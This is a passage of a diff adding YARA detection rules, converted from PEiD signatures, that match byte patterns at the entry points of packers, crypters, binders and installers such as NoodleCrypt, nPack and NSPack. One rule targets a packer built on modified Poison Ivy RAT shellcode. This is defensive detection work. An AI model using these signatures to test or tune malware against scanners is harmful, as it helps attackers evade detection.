+        description = "[MZ_Crypt 1.0 - by BrainSt0rm]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 25 14 40 00 8B BD 77 14 40 00 8B 8D 7F 14 40 00 EB 28 83 7F 1C 07 75 1E 8B 77 0C 03 B5 7B 14 40 00 33 C0 EB 0C 50 8A A5 83 14 40 00 30 26 58 40 46 3B 47 10 76 EF 83 C7 28 49 0B C9 75 D4 8B 85 73 14 40 00 89 44 24 1C 61 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_01255_N_Joiner_0_1__Asm_Version_____NEX_
+{
+    meta:
+        description = "[N-Joiner 0.1 (Asm Version) -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 68 00 14 40 00 68 00 10 40 00 6A 00 E8 14 00 00 00 6A 00 E8 13 00 00 00 CC FF 25 AC 12 40 00 FF 25 B0 12 40 00 FF 25 B4 12 40 00 FF 25 B8 12 40 00 FF 25 BC 12 40 00 FF 25 C0 12 40 00 FF 25 C4 12 40 00 FF 25 C8 12 40 00 FF 25 CC 12 40 00 FF 25 D0 12 40 00 FF 25 D4 12 40 00 FF 25 D8 12 40 00 FF 25 DC 12 40 00 FF 25 E4 12 40 00 FF 25 EC 12 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01256_N_Joy_1_0____NEX_
+{
+    meta:
+        description = "[N-Joy 1.0 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 9C 3B 40 00 E8 8C FC FF FF 6A 00 68 E4 39 40 00 6A 0A 6A 00 E8 40 FD FF FF E8 EF F5 FF FF 8D 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01257_N_Joy_1_1____NEX_
+{
+    meta:
+        description = "[N-Joy 1.1 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 0C 3C 40 00 E8 24 FC FF FF 6A 00 68 28 3A 40 00 6A 0A 6A 00 E8 D8 FC FF FF E8 7F F5 FF FF 8D 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01258_N_Joy_1_2____NEX_
+{
+    meta:
+        description = "[N-Joy 1.2 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 A4 32 40 00 E8 E8 F1 FF FF 6A 00 68 54 2A 40 00 6A 0A 6A 00 E8 A8 F2 FF FF E8 C7 EA FF FF 8D 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01259_N_Joy_1_3____NEX_
+{
+    meta:
+        description = "[N-Joy 1.3 -> NEX]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 48 36 40 00 E8 54 EE FF FF 6A 00 68 D8 2B 40 00 6A 0A 6A 00 E8 2C EF FF FF E8 23 E7 FF FF 8D 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01260_Naked_Packer_V1_0____BigBoote_
+{
+    meta:
+        description = "[Naked Packer V1.0 -> BigBoote]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC 0F B6 05 ?? ?? ?? ?? 85 C0 75 31 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9A 00 00 00 A3 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? 01 83 3D ?? ?? ?? ?? 00 75 07 61 FF 25 ?? ?? ?? ?? 61 FF 74 24 04 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01261_Naked_Packer_V1_X____BigBoote_
+{
+    meta:
+        description = "[Naked Packer V1.X -> BigBoote]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+    condition:
+        $a
+}
+
+rule PEiD_01262_Nakedbind_1_0____nakedcrew_
+{
+    meta:
+        description = "[Nakedbind 1.0 -> nakedcrew]"
+        ep_only = "true"
+    strings:
+        $a = {64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B 4D 5A 74 08 81 EB 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01263_NakedPacker_1_0___by_BigBoote_
+{
+    meta:
+        description = "[NakedPacker 1.0 - by BigBoote]"
+        ep_only = "true"
+    strings:
+        $a = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01264_NakedPacker_1_0___by_BigBoote_
+{
+    meta:
+        description = "[NakedPacker 1.0 - by BigBoote]"
+        ep_only = "false"
+    strings:
+        $a = {60 FC 0F B6 05 34 ?? ?? ?? 85 C0 75 31 B8 50 ?? ?? ?? 2B 05 04 ?? ?? ?? A3 30 ?? ?? ?? A1 00 ?? ?? ?? 03 05 30 ?? ?? ?? A3 38 ?? ?? ?? E8 9A 00 00 00 A3 50 ?? ?? ?? C6 05 34 ?? ?? ?? 01 83 3D 50 ?? ?? ?? 00 75 07 61 FF 25 38 ?? ?? ?? 61 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 40 ?? ?? ?? C3 FF 74 24 04 6A 00 FF 15 44 ?? ?? ?? 50 FF 15 48 ?? ?? ?? C3 8B 4C 24 04 56 8B 74 24 10 57 85 F6 8B F9 74 0D 8B 54 24 10 8A 02 88 01}
+    condition:
+        $a
+}
+
+rule PEiD_01265_Native_UD_Packer_1_1__Modded_Poison_Ivy_Shellcode_____okkixot_
+{
+    meta:
+        description = "[Native UD Packer 1.1 (Modded Poison Ivy Shellcode) -> okkixot]"
+        ep_only = "true"
+    strings:
+        $a = {31 C0 31 DB 31 C9 EB 0E 6A 00 6A 00 6A 00 6A 00 FF 15 28 41 40 00 FF 15 94 40 40 00 89 C7 68 88 13 00 00 FF 15 98 40 40 00 FF 15 94 40 40 00 81 C7 88 13 00 00 39 F8 73 05 E9 84 00 00 00 6A 40 68 00 10 00 00 FF 35 04 30 40 00 6A 00 FF 15 A4 40 40 00 89 C7 FF 35 04 30 40 00 68 CA 10 40 00 50 FF 15 A8 40 40 00 6A 40 68 00 10 00 00 FF 35 08 30 40 00 6A 00 FF 15 A4 40 40 00 89 C6 68 00 30 40 00 FF 35 04 30 40 00 57 FF 35 08 30 40 00 50 6A 02 FF 15 4E 41 40 00 6A 00 6A 00 6A 00 56 6A 00 6A 00 FF 15 9C 40 40 00 50 6A 00 6A 00 6A 11 50 FF 15 4A 41 40 00 58 6A FF 50 FF 15 AC 40 40 00 6A 00 FF 15 A0 40}
+    condition:
+        $a
+}
+
+rule PEiD_01266_nBinder_v3_6_1_
+{
+    meta:
+        description = "[nBinder v3.6.1]"
+        ep_only = "false"
+    strings:
+        $a = {6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C 00 5C 6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C}
+    condition:
+        $a
+}
+
+rule PEiD_01267_nBinder_v4_0_
+{
+    meta:
+        description = "[nBinder v4.0]"
+        ep_only = "false"
+    strings:
+        $a = {5C 6E 62 34 5F 74 6D 70 5F 30 31 33 32 34 35 34 33 35 30 5C 00 00 00 00 00 00 00 00 00 E9 55 43 4C FF 01 1A 00 00 00 00 96 30 07 77 2C 61 0E EE BA 51 09 99 19 C4 6D 07 8F F4 6A 70 35 A5 63 E9 A3 95 64 9E 32 88 DB 0E A4 B8 DC 79}
+    condition:
+        $a
+}
+
+rule PEiD_01268_nbuild_v1_0__soft_
+{
+    meta:
+        description = "[nbuild v1.0 [soft]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? BB ?? ?? C0 ?? ?? 80 ?? ?? 43 E2}
+    condition:
+        $a
+}
+
+rule PEiD_01269_NeoLite_v1_0_
+{
+    meta:
+        description = "[NeoLite v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 04 8D 54 24 FC 23 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_01270_NeoLite_v1_0_
+{
+    meta:
+        description = "[NeoLite v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 9B 00 00 00 A0}
+    condition:
+        $a
+}
+
+rule PEiD_01271_NeoLite_v2_00_
+{
+    meta:
+        description = "[NeoLite v2.00]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 04 23 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74}
+    condition:
+        $a
+}
+rule PEiD_01272_Neolite_v2_0_
+{
+    meta:
+        description = "[Neolite v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 A6 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01273_Netopsystems_FEAD_Optimizer_
+{
+    meta:
+        description = "[Netopsystems FEAD Optimizer]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 50 43 00 8D BE 00 C0 FC FF}
+    condition:
+        $a
+}
+
+rule PEiD_01274_Netopsystems_FEAD_Optimizer_
+{
+    meta:
+        description = "[Netopsystems FEAD Optimizer]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 BB 00 00 40 00 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01275_NFO_v1_0_
+{
+    meta:
+        description = "[NFO v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8 8C}
+    condition:
+        $a
+}
+
+rule PEiD_01276_nMacro_recorder_1_0_
+{
+    meta:
+        description = "[nMacro recorder 1.0]"
+        ep_only = "false"
+    strings:
+        $a = {5C 6E 6D 72 5F 74 65 6D 70 2E 6E 6D 72 00 00 00 72 62 00 00 58 C7 41 00 10 F8 41 00 11 01 00 00 00 00 00 00 46 E1 00 00 46 E1 00 00 35 00 00 00 F6 88 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_01277_NME_1_1_Public___by_redlime_
+{
+    meta:
+        description = "[NME 1.1 Public - by redlime]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01278_NME_1_1_Public___by_redlime_
+{
+    meta:
+        description = "[NME 1.1 Public - by redlime]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 30 35 14 13 E8 9A E6 FF FF 33 C0 55 68 6C 36 14 13 64 FF 30 64 89 20 B8 08 5C 14 13 BA 84 36 14 13 E8 7D E2 FF FF E8 C0 EA FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 04 F8 FF FF 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 F4 F7 FF FF 8B 15 CC 45 14 13 A1 C8 45 14 13 E8 2C F9 FF FF A3 F8 5A 14 13 8B 15 D0 45 14 13 A1 C8 45 14 13 E8 17 F9 FF FF A3 FC 5A 14 13 B8 04 5C 14 13 E8 20 FB FF FF 8B D8 85 DB 74 48 B8 00 5B 14 13 8B 15 C4 45 14 13 E8 1E E7 FF FF A1 04 5C 14 13 E8 A8 DA FF FF ?? ?? ?? ?? 5C 14 13 50 8B CE 8B D3 B8 00 5B 14 13 ?? ?? ?? ?? FF 8B C6 E8 DF FB FF FF 8B C6 E8 9C DA FF FF B8 00 5B 14 13 E8 72 E7 FF FF 33 C0 5A 59 59 64 89 10 68 73 36 14 13 C3 E9 0F DF FF FF EB F8 5E 5B E8 7E E0 FF FF 00 00 FF FF FF FF 0C 00 00 00 4E 4D 45 20 31 2E 31 20 53 74 75 62}
+    condition:
+        $a
+}
+
+rule PEiD_01279_NoName_Packer_
+{
+    meta:
+        description = "[NoName Packer]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 2E 34 46 00 B9 55 4A 46 00 81 E9 26 37 46 00 89 EA 81 C2 26 37 46 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+    condition:
+        $a
+}
+
+rule PEiD_01280_NoodleCrypt_2_00__Eng_____NoodleSpa_
+{
+    meta:
+        description = "[NoodleCrypt 2.00 (Eng) -> NoodleSpa]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02}
+    condition:
+        $a
+}
+
+rule PEiD_01281_NoodleCrypt_v2_00__Eng_____NoodleSpa_
+{
+    meta:
+        description = "[NoodleCrypt v2.00 (Eng) -> NoodleSpa]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02 04 00 00 EB 01 9A E8 19 07 00 00 EB 01 9A E8 9C 00 00 00 EB 01 9A E8 9C 06 00 00 E8 00 00 00 00 0F 7E F8 EB 01 9A 8B F8 C3 E8 00 00 00 00 58 EB 01 9A 25 00 F0 FF FF 8B F8 EB 01 9A 0F 6E F8 C3 8B D0 EB 01 9A 81 C2 C8 00 00 00 EB 01 9A B9 00 17 00 00 EB 01 9A C0 0A 06 EB 01 9A 80 2A 15 EB 01 9A 42 E2 EE 0F 6E C0 EB 01 9A 0F 7E C0 EB 01 9A 8B D0 00 85 EB A5 F5 65 4B 45 45 00 85 EB B3 65 07 45 45 00 85 EB 75 C7 C6 00 85 EB 65 CF 8A 00 85 EB D5 FD C0 00 85 EB 7F E5 05 05 05 00 85 EB 7F 61 06 45 45 00 85 EB 7F}
+    condition:
+        $a
+}
+rule PEiD_01282_NoodleCrypt_v2_0_
+{
+    meta:
+        description = "[NoodleCrypt v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01283_NoodleCrypt_v2_0_
+{
+    meta:
+        description = "[NoodleCrypt v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 9A E8 ?? 00 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01284_Noodlecrypt2____r_sc_
+{
+    meta:
+        description = "[Noodlecrypt2 -> r!sc]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 9A E8 76 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01285_North_Star_PE_Shrinker_1_3____Liuxingping_
+{
+    meta:
+        description = "[North Star PE Shrinker 1.3 -> Liuxingping]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5}
+    condition:
+        $a
+}
+
+rule PEiD_01286_North_Star_PE_Shrinker_1_3_by_Liuxingping_
+{
+    meta:
+        description = "[North Star PE Shrinker 1.3 by Liuxingping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01}
+    condition:
+        $a
+}
+
+rule PEiD_01287_North_Star_PE_Shrinker_v1_3_by_Liuxingping_
+{
+    meta:
+        description = "[North Star PE Shrinker v1.3 by Liuxingping]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 A3 ?? FF FF 85 C0 0F 84 06 03 00 00 89 85 63 ?? FF FF E8 00 00 00 00 5B B9 31 89 40 00 81 E9 2E 86 40 00 03 D9 50 53 E8 3D 02 00 00 61 03 BD 47 ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 A7 ?? FF FF FF B5 A3 ?? FF FF 56 57 FF 95 63 ?? FF FF 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB CE 68 00 80 00 00 6A 00 FF B5 63 ?? FF FF FF 95 A7 ?? FF FF 8D}
+    condition:
+        $a
+}
+
+rule PEiD_01288_Norton_Speed_Disk_Configuration_file_
+{
+    meta:
+        description = "[Norton Speed Disk Configuration file]"
+        ep_only = "false"
+    strings:
+        $a = {4E 6F 72 74 6F 6E 20 53 70 65 65 64}
+    condition:
+        $a
+}
+
+rule PEiD_01289_nPack_1_1_150_2006_Beta____NEOx_
+{
+    meta:
+        description = "[nPack 1.1.150.2006.Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01290_nPack_1_1_150_2006_Beta____NEOx_
+{
+    meta:
+        description = "[nPack 1.1.150.2006.Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_01291_nPack_1_1_250_2006_Beta____NEOx__uinC__
+{
+    meta:
+        description = "[nPack 1.1.250.2006.Beta -> NEOx/[uinC]]"
+        ep_only = "false"
+    strings:
+        $a = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+    condition:
+        $a
+}
+rule PEiD_01292_nPack_1_1_300_2006_Beta____NEOx_
+{
+    meta:
+        description = "[nPack 1.1.300.2006 Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 2D 02 00 00 E8 DD 06 00 00 E8 2C 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_01293_nPack_v1_1_150_200_Beta____NEOx_
+{
+    meta:
+        description = "[nPack v1.1 150-200 Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? 00 E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01294_nPack_v1_1_250_Beta____NEOx_
+{
+    meta:
+        description = "[nPack v1.1 250 Beta -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68}
+    condition:
+        $a
+}
+
+rule PEiD_01295_nPack_V1_1_150_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.150.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01296_nPack_V1_1_150_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.150.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3 56 57 68 54 ?? ?? ?? FF 15 00 ?? ?? ?? 8B 35 08 ?? ?? ?? 8B F8 68 44 ?? ?? ?? 57 FF D6 68 38 ?? ?? ?? 57 A3 38 ?? ?? ?? FF D6 5F A3 34 ?? ?? ?? 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_01297_nPack_V1_1_200_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.200.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 EC 01 00 00 E8 F8 06 00 00 E8 03 06 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01298_nPack_V1_1_250_2006_Beta____NEOx__uinC_
+{
+    meta:
+        description = "[nPack V1.1.250.2006.Beta -> NEOx/[uinC]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01299_nPack_v1_1_xxx____NEOx_
+{
+    meta:
+        description = "[nPack v1.1.xxx -> NEOx]"
+        ep_only = "true"
+    strings:
+        $a = {83 3D ?? ?? ?? 00 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 08 ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 ?? 02 00 00 E8 ?? 06 00 00 E8 ?? 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? 00 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+    condition:
+        $a
+}
+
+rule PEiD_01300_NSIS_Installer____NullSoft_
+{
+    meta:
+        description = "[NSIS Installer -> NullSoft]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 30 70 40 00 53 FF 15 80 72 40 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE}
+    condition:
+        $a
+}
+
+rule PEiD_01301_NSPack____Nort_Star_Software___http___www_nsdsn_com__
+{
+    meta:
+        description = "[NSPack -> Nort Star Software - http://www.nsdsn.com/]"
+        ep_only = "false"
+    strings:
+        $a = {83 F9 00 74 28 43 8D B5 ?? ?? FF FF 8B 16 56 51 53 52 56 FF 33 FF 73 04 8B 43 08 03 C2 50 FF 95 ?? ?? FF FF 5A 5B 59 5E 83 C3 0C E2 E1 61 9D E9 ?? ?? ?? FF 8B B5 ?? ?? FF FF 0B F6 0F 84 97 00 00 00 8B 95 ?? ?? FF FF 03 F2 83 3E 00 75 0E 83 7E 04 00 75 08}
+    condition:
+        $a
+}
+
+rule PEiD_01302_NSPack____Nort_Star_Software___url____www_nsdsn_com__
+{
+    meta:
+        description = "[NSPack -> Nort Star Software - url:://www.nsdsn.com/]"
+        ep_only = "true"
+    strings:
+        $a = {83 F9 00 74 28 43 8D B5 ?? ?? FF FF 8B 16 56 51 53 52 56 FF 33 FF 73 04 8B 43 08 03 C2 50 FF 95 ?? ?? FF FF 5A 5B 59 5E 83 C3 0C E2 E1 61 9D E9 ?? ?? ?? FF 8B B5 ?? ?? FF FF 0B F6 0F 84 97 00 00 00 8B 95 ?? ?? FF FF 03 F2 83 3E 00 75 0E 83 7E 04 00 75 08 83 7E 08 00 75 02 EB 7A 8B 5E 08 03 DA 53 52 56 8D BD ?? ?? FF FF 03 7E 04 83 C6 0C 57}
+    condition:
+        $a
+}
+rule PEiD_01303_NsPacK__Net____LiuXingPing___Sign_by_fly_
+{
+    meta:
+        description = "[NsPacK .Net -> LiuXingPing ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 BB 01 47 65 74 53 79 73 74 65 6D 49 6E 66 6F 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 5E 00 5F 43 6F 72 ?? ?? ?? 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C}
+    condition:
+        $a
+}
+
+rule PEiD_01304_NsPack_1_4____Liuxingping_
+{
+    meta:
+        description = "[NsPack 1.4 -> Liuxingping]"
+        ep_only = "true"
+    strings:
